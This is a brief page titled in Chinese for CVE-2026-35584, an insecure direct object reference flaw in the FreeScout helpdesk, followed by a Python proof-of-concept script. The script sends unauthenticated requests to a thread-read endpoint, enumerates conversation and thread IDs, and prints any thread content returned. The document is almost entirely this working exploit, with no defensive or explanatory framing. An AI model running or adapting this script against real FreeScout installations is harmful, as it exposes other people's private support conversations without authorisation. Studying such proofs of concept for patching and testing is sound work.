CVE-2026-35584 FreeScout IDOR漏洞导致信息泄露

import requests # Target URL template # The endpoint does not require authentication and fails to validate ownership target_url = "http://example.com/thread/read/{conversation_id}/{thread_id}" # Arbitrary IDs for testing IDOR conv_id = 1 # Attacker controlled conversation ID thread_id = 1 # Enumerated thread ID # Construct the full URL exploit_url = target_url.format(conversation_id=conv_id, thread_id=thread_id) try: # Send GET request without authentication headers response = requests.get(exploit_url, timeout=10) # Analyze response to determine validity of the thread ID if response.status_code == 200: print(f"[+] Success: Thread ID {thread_id} exists and marked as read.") print(f"[+] Response: {response.text}") elif response.status_code == 404: print(f"[-] Not Found: Thread ID {thread_id} does not exist.") else: print(f"[?] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")